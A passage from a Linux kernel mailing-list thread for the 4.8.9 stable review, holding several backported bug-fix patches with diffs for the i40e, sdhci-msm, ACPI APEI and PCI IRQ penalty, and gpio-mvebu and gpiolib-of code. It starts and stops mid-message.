only since commit 9df70b66418e.

Note that this may break netlink dumps.

Fixes: 9df70b66418e ("i40e: Remove incorrect #ifdef's")
Fixes: 7d4f8d871ab1 ("switchdev; add VLAN support for port's bridge_getlink")
CC: Carolyn Wyborny <carolyn.wyborny@intel.com>
Signed-off-by: Huaibin Wang <huaibin.wang@6wind.com>
Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Tested-by: Andrew Bowers <andrewx.bowers@intel.com>
Signed-off-by: Jeff Kirsher <jeffrey.t.kirsher@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/net/ethernet/intel/i40e/i40e_main.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/net/ethernet/intel/i40e/i40e_main.c
+++ b/drivers/net/ethernet/intel/i40e/i40e_main.c
@@ -9001,7 +9001,7 @@ static int i40e_ndo_bridge_getlink(struc
 		return 0;
 
 	return ndo_dflt_bridge_getlink(skb, pid, seq, dev, veb->bridge_mode,
-				       nlflags, 0, 0, filter_mask, NULL);
+				       0, 0, nlflags, filter_mask, NULL);
 }
 
 /* Hardware supports L4 tunnel length of 128B (=2^7) which includes

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 73/92] mmc: sdhci-msm: Fix error return code in sdhci_msm_probe()
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (61 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 72/92] i40e: fix call of ndo_dflt_bridge_getlink() Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 74/92] ACPI / APEI: Fix incorrect return value of ghes_proc() Greg Kroah-Hartman
                     ` (16 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Wei Yongjun, Adrian Hunter,
	Georgi Djakov, Ulf Hansson

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Wei Yongjun <weiyongjun1@huawei.com>

commit d1f63f0c81c22ba705fcd149a1fcec37b734d818 upstream.

Fix to return a negative error code from the platform_get_irq_byname()
error handling case instead of 0, as done elsewhere in this function.

Fixes: ad81d3871004 ("mmc: sdhci-msm: Add support for UHS cards")
Signed-off-by: Wei Yongjun <weiyongjun1@huawei.com>
Acked-by: Adrian Hunter <adrian.hunter@intel.com>
Acked-by: Georgi Djakov <georgi.djakov@linaro.org>
Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/mmc/host/sdhci-msm.c |    1 +
 1 file changed, 1 insertion(+)

--- a/drivers/mmc/host/sdhci-msm.c
+++ b/drivers/mmc/host/sdhci-msm.c
@@ -647,6 +647,7 @@ static int sdhci_msm_probe(struct platfo
 	if (msm_host->pwr_irq < 0) {
 		dev_err(&pdev->dev, "Get pwr_irq failed (%d)\n",
 			msm_host->pwr_irq);
+		ret = msm_host->pwr_irq;
 		goto clk_disable;
 	}
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 74/92] ACPI / APEI: Fix incorrect return value of ghes_proc()
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (62 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 73/92] mmc: sdhci-msm: Fix error return code in sdhci_msm_probe() Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 75/92] ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages Greg Kroah-Hartman
                     ` (15 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Tyler Baicar, Borislav Petkov,
	Rafael J. Wysocki

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Punit Agrawal <punit.agrawal@arm.com>

commit 806487a8fc8f385af75ed261e9ab658fc845e633 upstream.

Although ghes_proc() tests for errors while reading the error status,
it always return success (0). Fix this by propagating the return
value.

Fixes: d334a49113a4a33 (ACPI, APEI, Generic Hardware Error Source memory error support)
Signed-of-by: Punit Agrawal <punit.agrawa.@arm.com>
Tested-by: Tyler Baicar <tbaicar@codeaurora.org>
Reviewed-by: Borislav Petkov <bp@suse.de>
[ rjw: Subject ]
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/acpi/apei/ghes.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/acpi/apei/ghes.c
+++ b/drivers/acpi/apei/ghes.c
@@ -662,7 +662,7 @@ static int ghes_proc(struct ghes *ghes)
 	ghes_do_proc(ghes, ghes->estatus);
 out:
 	ghes_clear_estatus(ghes);
-	return 0;
+	return rc;
 }
 
 static void ghes_add_timer(struct ghes *ghes)

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 75/92] ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (63 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 74/92] ACPI / APEI: Fix incorrect return value of ghes_proc() Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 76/92] ACPI/PCI: pci_link: penalize SCI correctly Greg Kroah-Hartman
                     ` (14 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Sinan Kaya, Bjorn Helgaas,
	Jonathan Liu, Rafael J. Wysocki

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Sinan Kaya <okaya@codeaurora.org>

commit eeaed4bb5a35591470b545590bb2f26dbe7653a2 upstream.

We do not want to store the SCI penalty in the acpi_isa_irq_penalty[]
table because acpi_isa_irq_penalty[] only holds ISA IRQ penalties and
there's no guarantee that the SCI is an ISA IRQ.  We add in the SCI
penalty as a special case in acpi_irq_get_penalty().

But if we called acpi_penalize_isa_irq() or acpi_irq_penalty_update()
for an SCI that happened to be an ISA IRQ, they stored the SCI
penalty (part of the acpi_irq_get_penalty() return value) in
acpi_isa_irq_penalty[].  Subsequent calls to acpi_irq_get_penalty()
returned a penalty that included *two* SCI penalties.

Fixes: 103544d86976 (ACPI,PCI,IRQ: reduce resource requirements)
Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
Acked-by: Bjorn Helgaas <bhelgaas@google.com>
Tested-by: Jonathan Liu <net147@gmail.com>
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/acpi/pci_link.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- a/drivers/acpi/pci_link.c
+++ b/drivers/acpi/pci_link.c
@@ -849,7 +849,7 @@ static int __init acpi_irq_penalty_updat
 			continue;
 
 		if (used)
-			new_penalty = acpi_irq_get_penalty(irq) +
+			new_penalty = acpi_isa_irq_penalty[irq] +
 					PIRQ_PENALTY_ISA_USED;
 		else
 			new_penalty = 0;
@@ -871,7 +871,7 @@ static int __init acpi_irq_penalty_updat
 void acpi_penalize_isa_irq(int irq, int active)
 {
 	if ((irq >= 0) && (irq < ARRAY_SIZE(acpi_isa_irq_penalty)))
-		acpi_isa_irq_penalty[irq] = acpi_irq_get_penalty(irq) +
+		acpi_isa_irq_penalty[irq] +=
 		  (active ? PIRQ_PENALTY_ISA_USED : PIRQ_PENALTY_PCI_USING);
 }
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 76/92] ACPI/PCI: pci_link: penalize SCI correctly
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (64 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 75/92] ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 77/92] ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs Greg Kroah-Hartman
                     ` (13 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Ondrej Zary, Bjorn Helgaas,
	Sinan Kaya, Jonathan Liu, Rafael J. Wysocki

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Sinan Kaya <okaya@codeaurora.org>

commit f1caa61df2a3dc4c58316295c5dc5edba4c68d85 upstream.

Ondrej reported that IRQs stopped working in v4.7 on several
platforms.  A typical scenario, from Ondrej's VT82C694X/694X, is:

ACPI: Using PIC for interrupt routing
ACPI: PCI Interrupt Link [LNKA] (IRQs 1 3 4 5 6 7 10 *11 12 14 15)
ACPI: No IRQ available for PCI Interrupt Link [LNKA]
8139too 0000:00:0f.0: PCI INT A: no GSI

We're using PIC routing, so acpi_irq_balance == 0, and LNKA is already
active at IRQ 11. In that case, acpi_pci_link_allocate() only tries
to use the active IRQ (IRQ 11) which also happens to be the SCI.

We should penalize the SCI by PIRQ_PENALTY_PCI_USING, but
irq_get_trigger_type(11) returns something other than
IRQ_TYPE_LEVEL_LOW, so we penalize it by PIRQ_PENALTY_ISA_ALWAYS
instead, which makes acpi_pci_link_allocate() assume the IRQ isn't
available and give up.

Add acpi_penalize_sci_irq() so platforms can tell us the SCI IRQ,
trigger, and polarity directly and we don't have to depend on
irq_get_trigger_type().

Fixes: 103544d86976 (ACPI,PCI,IRQ: reduce resource requirements)
Link: http://lkml.kernel.org/r/201609251512.05657.linux@rainbow-software.org
Reported-by: Ondrej Zary <linux@rainbow-software.org>
Acked-by: Bjorn Helgaas <bhelgaas@google.com>
Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
Tested-by: Jonathan Liu <net147@gmail.com>
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/x86/kernel/acpi/boot.c |    1 +
 drivers/acpi/pci_link.c     |   30 +++++++++++++++---------------
 include/linux/acpi.h        |    1 +
 3 files changed, 17 insertions(+), 15 deletions(-)

--- a/arch/x86/kernel/acpi/boot.c
+++ b/arch/x86/kernel/acpi/boot.c
@@ -453,6 +453,7 @@ static void __init acpi_sci_ioapic_setup
 		polarity = acpi_sci_flags & ACPI_MADT_POLARITY_MASK;
 
 	mp_override_legacy_irq(bus_irq, polarity, trigger, gsi);
+	acpi_penalize_sci_irq(bus_irq, trigger, polarity);
 
 	/*
 	 * stash over-ride to indicate we've been here
--- a/drivers/acpi/pci_link.c
+++ b/drivers/acpi/pci_link.c
@@ -87,6 +87,7 @@ struct acpi_pci_link {
 
 static LIST_HEAD(acpi_link_list);
 static DEFINE_MUTEX(acpi_link_lock);
+static int sci_irq = -1, sci_penalty;
 
 /* --------------------------------------------------------------------------
                             PCI Link Device Management
@@ -496,25 +497,13 @@ static int acpi_irq_get_penalty(int irq)
 {
 	int penalty = 0;
 
-	/*
-	* Penalize IRQ used by ACPI SCI. If ACPI SCI pin attributes conflict
-	* with PCI IRQ attributes, mark ACPI SCI as ISA_ALWAYS so it won't be
-	* use for PCI IRQs.
-	*/
-	if (irq == acpi_gbl_FADT.sci_interrupt) {
-		u32 type = irq_get_trigger_type(irq) & IRQ_TYPE_SENSE_MASK;
-
-		if (type != IRQ_TYPE_LEVEL_LOW)
-			penalty += PIRQ_PENALTY_ISA_ALWAYS;
-		else
-			penalty += PIRQ_PENALTY_PCI_USING;
-	}
+	if (irq == sci_irq)
+		penalty += sci_penalty;
 
 	if (irq < ACPI_MAX_ISA_IRQS)
 		return penalty + acpi_isa_irq_penalty[irq];
 
-	penalty += acpi_irq_pci_sharing_penalty(irq);
-	return penalty;
+	return penalty + acpi_irq_pci_sharing_penalty(irq);
 }
 
 int __init acpi_irq_penalty_init(void)
@@ -881,6 +870,17 @@ bool acpi_isa_irq_available(int irq)
 		    acpi_irq_get_penalty(irq) < PIRQ_PENALTY_ISA_ALWAYS);
 }
 
+void acpi_penalize_sci_irq(int irq, int trigger, int polarity)
+{
+	sci_irq = irq;
+
+	if (trigger == ACPI_MADT_TRIGGER_LEVEL &&
+	    polarity == ACPI_MADT_POLARITY_ACTIVE_LOW)
+		sci_penalty = PIRQ_PENALTY_PCI_USING;
+	else
+		sci_penalty = PIRQ_PENALTY_ISA_ALWAYS;
+}
+
 /*
  * Over-ride default table to reserve additional IRQs for use by ISA
  * e.g. acpi_irq_isa=5
--- a/include/linux/acpi.h
+++ b/include/linux/acpi.h
@@ -318,6 +318,7 @@ struct pci_dev;
 int acpi_pci_irq_enable (struct pci_dev *dev);
 void acpi_penalize_isa_irq(int irq, int active);
 bool acpi_isa_irq_available(int irq);
+void acpi_penalize_sci_irq(int irq, int trigger, int polarity);
 void acpi_pci_irq_disable (struct pci_dev *dev);
 
 extern int ec_read(u8 addr, u8 *val);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 77/92] ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (65 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 76/92] ACPI/PCI: pci_link: penalize SCI correctly Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 80/92] gpio/mvebu: Use irq_domain_add_linear Greg Kroah-Hartman
                     ` (12 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Sinan Kaya, Bjorn Helgaas,
	Jonathan Liu, Rafael J. Wysocki

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Sinan Kaya <okaya@codeaurora.org>

commit 98756f5319c64c883caa910dce702d9edefe7810 upstream.

Commit 103544d86976 ("ACPI,PCI,IRQ: reduce resource requirements")
replaced the addition of PIRQ_PENALTY_PCI_USING in acpi_pci_link_allocate()
with an addition in acpi_irq_pci_sharing_penalty(), but f7eca374f000
("ACPI,PCI,IRQ: separate ISA penalty calculation") removed the use
of acpi_irq_pci_sharing_penalty() for ISA IRQs.

Therefore, PIRQ_PENALTY_PCI_USING is missing from ISA IRQs used by
interrupt links.  Include that penalty by adding it in the
acpi_pci_link_allocate() path.

Fixes: f7eca374f000 (ACPI,PCI,IRQ: separate ISA penalty calculation)
Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
Acked-by: Bjorn Helgaas <bhelgaas@google.com>
Tested-by: Jonathan Liu <net147@gmail.com>
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/acpi/pci_link.c |    4 ++++
 1 file changed, 4 insertions(+)

--- a/drivers/acpi/pci_link.c
+++ b/drivers/acpi/pci_link.c
@@ -608,6 +608,10 @@ static int acpi_pci_link_allocate(struct
 			    acpi_device_bid(link->device));
 		return -ENODEV;
 	} else {
+		if (link->irq.active < ACPI_MAX_ISA_IRQS)
+			acpi_isa_irq_penalty[link->irq.active] +=
+				PIRQ_PENALTY_PCI_USING;
+
 		printk(KERN_WARNING PREFIX "%s [%s] enabled at IRQ %d\n",
 		       acpi_device_name(link->device),
 		       acpi_device_bid(link->device), link->irq.active);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 80/92] gpio/mvebu: Use irq_domain_add_linear
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (66 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 77/92] ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 81/92] gpio: of: fix GPIO drivers with multiple gpio_chip for a single node Greg Kroah-Hartman
                     ` (11 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Jason Gunthorpe, Linus Walleij

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jason Gunthorpe <jgunthorpe@obsidianresearch.com>

commit 812d47889a8e418d7bea9bec383581a34c19183e upstream.

This fixes the irq allocation in this driver to not print:
 irq: Cannot allocate irq_descs @ IRQ34, assuming pre-allocated
 irq: Cannot allocate irq_descs @ IRQ66, assuming pre-allocated

Which happens because the driver already called irq_alloc_descs()
and so the change to use irq_domain_add_simple resulted in calling
irq_alloc_descs() twice.

Modernize the irq allocation in this driver to use the
irq_domain_add_linear flow directly and eliminate the use of
irq_domain_add_simple/legacy

Fixes: ce931f571b6d ("gpio/mvebu: convert to use irq_domain_add_simple()")
Signed-off-by: Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/gpio/gpio-mvebu.c |   92 +++++++++++++++++++++-------------------------
 1 file changed, 43 insertions(+), 49 deletions(-)

--- a/drivers/gpio/gpio-mvebu.c
+++ b/drivers/gpio/gpio-mvebu.c
@@ -293,10 +293,10 @@ static void mvebu_gpio_irq_ack(struct ir
 {
 	struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d);
 	struct mvebu_gpio_chip *mvchip = gc->private;
-	u32 mask = ~(1 << (d->irq - gc->irq_base));
+	u32 mask = d->mask;
 
 	irq_gc_lock(gc);
-	writel_relaxed(mask, mvebu_gpioreg_edge_cause(mvchip));
+	writel_relaxed(~mask, mvebu_gpioreg_edge_cause(mvchip));
 	irq_gc_unlock(gc);
 }
 
@@ -305,7 +305,7 @@ static void mvebu_gpio_edge_irq_mask(str
 	struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d);
 	struct mvebu_gpio_chip *mvchip = gc->private;
 	struct irq_chip_type *ct = irq_data_get_chip_type(d);
-	u32 mask = 1 << (d->irq - gc->irq_base);
+	u32 mask = d->mask;
 
 	irq_gc_lock(gc);
 	ct->mask_cache_priv &= ~mask;
@@ -319,8 +319,7 @@ static void mvebu_gpio_edge_irq_unmask(s
 	struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d);
 	struct mvebu_gpio_chip *mvchip = gc->private;
 	struct irq_chip_type *ct = irq_data_get_chip_type(d);
-
-	u32 mask = 1 << (d->irq - gc->irq_base);
+	u32 mask = d->mask;
 
 	irq_gc_lock(gc);
 	ct->mask_cache_priv |= mask;
@@ -333,8 +332,7 @@ static void mvebu_gpio_level_irq_mask(st
 	struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d);
 	struct mvebu_gpio_chip *mvchip = gc->private;
 	struct irq_chip_type *ct = irq_data_get_chip_type(d);
-
-	u32 mask = 1 << (d->irq - gc->irq_base);
+	u32 mask = d->mask;
 
 	irq_gc_lock(gc);
 	ct->mask_cache_priv &= ~mask;
@@ -347,8 +345,7 @@ static void mvebu_gpio_level_irq_unmask(
 	struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d);
 	struct mvebu_gpio_chip *mvchip = gc->private;
 	struct irq_chip_type *ct = irq_data_get_chip_type(d);
-
-	u32 mask = 1 << (d->irq - gc->irq_base);
+	u32 mask = d->mask;
 
 	irq_gc_lock(gc);
 	ct->mask_cache_priv |= mask;
@@ -462,7 +459,7 @@ static void mvebu_gpio_irq_handler(struc
 	for (i = 0; i < mvchip->chip.ngpio; i++) {
 		int irq;
 
-		irq = mvchip->irqbase + i;
+		irq = irq_find_mapping(mvchip->domain, i);
 
 		if (!(cause & (1 << i)))
 			continue;
@@ -655,6 +652,7 @@ static int mvebu_gpio_probe(struct platf
 	struct irq_chip_type *ct;
 	struct clk *clk;
 	unsigned int ngpios;
+	bool have_irqs;
 	int soc_variant;
 	int i, cpu, id;
 	int err;
@@ -665,6 +663,9 @@ static int mvebu_gpio_probe(struct platf
 	else
 		soc_variant = MVEBU_GPIO_SOC_VARIANT_ORION;
 
+	/* Some gpio controllers do not provide irq support */
+	have_irqs = of_irq_count(np) != 0;
+
 	mvchip = devm_kzalloc(&pdev->dev, sizeof(struct mvebu_gpio_chip),
 			      GFP_KERNEL);
 	if (!mvchip)
@@ -697,7 +698,8 @@ static int mvebu_gpio_probe(struct platf
 	mvchip->chip.get = mvebu_gpio_get;
 	mvchip->chip.direction_output = mvebu_gpio_direction_output;
 	mvchip->chip.set = mvebu_gpio_set;
-	mvchip->chip.to_irq = mvebu_gpio_to_irq;
+	if (have_irqs)
+		mvchip->chip.to_irq = mvebu_gpio_to_irq;
 	mvchip->chip.base = id * MVEBU_MAX_GPIO_PER_BANK;
 	mvchip->chip.ngpio = ngpios;
 	mvchip->chip.can_sleep = false;
@@ -758,34 +760,30 @@ static int mvebu_gpio_probe(struct platf
 	devm_gpiochip_add_data(&pdev->dev, &mvchip->chip, mvchip);
 
 	/* Some gpio controllers do not provide irq support */
-	if (!of_irq_count(np))
+	if (!have_irqs)
 		return 0;
 
-	/* Setup the interrupt handlers. Each chip can have up to 4
-	 * interrupt handlers, with each handler dealing with 8 GPIO
-	 * pins. */
-	for (i = 0; i < 4; i++) {
-		int irq = platform_get_irq(pdev, i);
-
-		if (irq < 0)
-			continue;
-		irq_set_chained_handler_and_data(irq, mvebu_gpio_irq_handler,
-						 mvchip);
-	}
-
-	mvchip->irqbase = irq_alloc_descs(-1, 0, ngpios, -1);
-	if (mvchip->irqbase < 0) {
-		dev_err(&pdev->dev, "no irqs\n");
-		return mvchip->irqbase;
+	mvchip->domain =
+	    irq_domain_add_linear(np, ngpios, &irq_generic_chip_ops, NULL);
+	if (!mvchip->domain) {
+		dev_err(&pdev->dev, "couldn't allocate irq domain %s (DT).\n",
+			mvchip->chip.label);
+		return -ENODEV;
 	}
 
-	gc = irq_alloc_generic_chip("mvebu_gpio_irq", 2, mvchip->irqbase,
-				    mvchip->membase, handle_level_irq);
-	if (!gc) {
-		dev_err(&pdev->dev, "Cannot allocate generic irq_chip\n");
-		return -ENOMEM;
+	err = irq_alloc_domain_generic_chips(
+	    mvchip->domain, ngpios, 2, np->name, handle_level_irq,
+	    IRQ_NOREQUEST | IRQ_NOPROBE | IRQ_LEVEL, 0, 0);
+	if (err) {
+		dev_err(&pdev->dev, "couldn't allocate irq chips %s (DT).\n",
+			mvchip->chip.label);
+		goto err_domain;
 	}
 
+	/* NOTE: The common accessors cannot be used because of the percpu
+	 * access to the mask registers
+	 */
+	gc = irq_get_domain_generic_chip(mvchip->domain, 0);
 	gc->private = mvchip;
 	ct = &gc->chip_types[0];
 	ct->type = IRQ_TYPE_LEVEL_HIGH | IRQ_TYPE_LEVEL_LOW;
@@ -803,27 +801,23 @@ static int mvebu_gpio_probe(struct platf
 	ct->handler = handle_edge_irq;
 	ct->chip.name = mvchip->chip.label;
 
-	irq_setup_generic_chip(gc, IRQ_MSK(ngpios), 0,
-			       IRQ_NOREQUEST, IRQ_LEVEL | IRQ_NOPROBE);
+	/* Setup the interrupt handlers. Each chip can have up to 4
+	 * interrupt handlers, with each handler dealing with 8 GPIO
+	 * pins.
+	 */
+	for (i = 0; i < 4; i++) {
+		int irq = platform_get_irq(pdev, i);
 
-	/* Setup irq domain on top of the generic chip. */
-	mvchip->domain = irq_domain_add_simple(np, mvchip->chip.ngpio,
-					       mvchip->irqbase,
-					       &irq_domain_simple_ops,
-					       mvchip);
-	if (!mvchip->domain) {
-		dev_err(&pdev->dev, "couldn't allocate irq domain %s (DT).\n",
-			mvchip->chip.label);
-		err = -ENODEV;
-		goto err_generic_chip;
+		if (irq < 0)
+			continue;
+		irq_set_chained_handler_and_data(irq, mvebu_gpio_irq_handler,
+						 mvchip);
 	}
 
 	return 0;
 
-err_generic_chip:
-	irq_remove_generic_chip(gc, IRQ_MSK(ngpios), IRQ_NOREQUEST,
-				IRQ_LEVEL | IRQ_NOPROBE);
-	kfree(gc);
+err_domain:
+	irq_domain_remove(mvchip->domain);
 
 	return err;
 }

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 81/92] gpio: of: fix GPIO drivers with multiple gpio_chip for a single node
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (67 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 80/92] gpio/mvebu: Use irq_domain_add_linear Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 82/92] ASoC: Intel: Skylake: Always acquire runtime pm ref on unload Greg Kroah-Hartman
                     ` (10 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Masahiro Yamada, Sylvain Lemieux,
	David Lechner, Linus Walleij

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Masahiro Yamada <yamada.masahiro@socionext.com>

commit c7e9d39831a31682285cc31ddf7dd06c0fe59138 upstream.

Sylvain Lemieux reports the LPC32xx GPIO driver is broken since
commit 762c2e46c059 ("gpio: of: remove of_gpiochip_and_xlate() and
struct gg_data").  Probably, gpio-etraxfs.c and gpio-davinci.c are
broken too.

Those drivers register multiple gpio_chip that are associated to a
single OF node, and their own .of_xlate() checks if the passed
gpio_chip is valid.

Now, the problem is of_find_gpiochip_by_node() returns the first
gpio_chip found to match the given node.  So, .of_xlate() fails,
except for the first GPIO bank.

Reverting the commit could be a solution, but I do not want to go
back to the mess of struct gg_data.  Another solution here is to
take the match by a node pointer and the success of .of_xlate().
It is a bit clumsy to call .of_xlate twice; for gpio_chip matching
and for really getting the gpio_desc index.  Perhaps, our long-term
goal might be to convert the drivers to single chip registration,
but this commit will solve the problem until then.

Fixes: 762c2e46c059 ("gpio: of: remove of_gpiochip_and_xlate() and struct gg_data")
Signed-off-by: Masahiro Yamada <yamada.masahiro@socionext.com>
Reported-by: Sylvain Lemieux <slemieux.tyco@gmail.com>
Tested-by: David Lechner <david@lechnology.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/gpio/gpiolib-of.c |   14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

--- a/drivers/gpio/gpiolib-of.c
+++ b/drivers/gpio/gpiolib-of.c
@@ -26,14 +26,18 @@
 
 #include "gpiolib.h"
 
-static int of_gpiochip_match_node(struct gpio_chip *chip, void *data)
+static int of_gpiochip_match_node_and_xlate(struct gpio_chip *chip, void *data)
 {
-	return chip->gpiodev->dev.of_node == data;
+	struct of_phandle_args *gpiospec = data;
+
+	return chip->gpiodev->dev.of_node == gpiospec->np &&
+				chip->of_xlate(chip, gpiospec, NULL) >= 0;
 }
 
-static struct gpio_chip *of_find_gpiochip_by_node(struct device_node *np)
+static struct gpio_chip *of_find_gpiochip_by_xlate(
+					struct of_phandle_args *gpiospec)
 {
-	return gpiochip_find(np, of_gpiochip_match_node);
+	return gpiochip_find(gpiospec, of_gpiochip_match_node_and_xlate);
 }
 
 static struct gpio_desc *of_xlate_and_get_gpiod_flags(struct gpio_chip *chip,
@@ -79,7 +83,7 @@ struct gpio_desc *of_get_named_gpiod_fla
 		return ERR_PTR(ret);
 	}
 
-	chip = of_find_gpiochip_by_node(gpiospec.np);
+	chip = of_find_gpiochip_by_xlate(&gpiospec);
 	if (!chip) {
 		desc = ERR_PTR(-EPROBE_DEFER);
 		goto out;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 82/92] ASoC: Intel: Skylake: Always acquire runtime pm ref on unload
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (68 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 81/92] gpio: of: fix GPIO drivers with multiple gpio_chip for a single node Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 83/92] ASoC: sun4i-codec: return error code instead of NULL when create_card fails Greg Kroah-Hartman
                     ` (9 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Lukas Wunner, Mark Brown

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Lukas Wunner <lukas@wunner.de>

commit 6d13f62d931ba638e54ba56f3a7dd3080ffb485a upstream.

skl_probe() releases a runtime pm ref unconditionally wheras
skl_remove() acquires one only if the device is wakeup capable.
Thus if the device is not wakeup capable, unloading and reloading
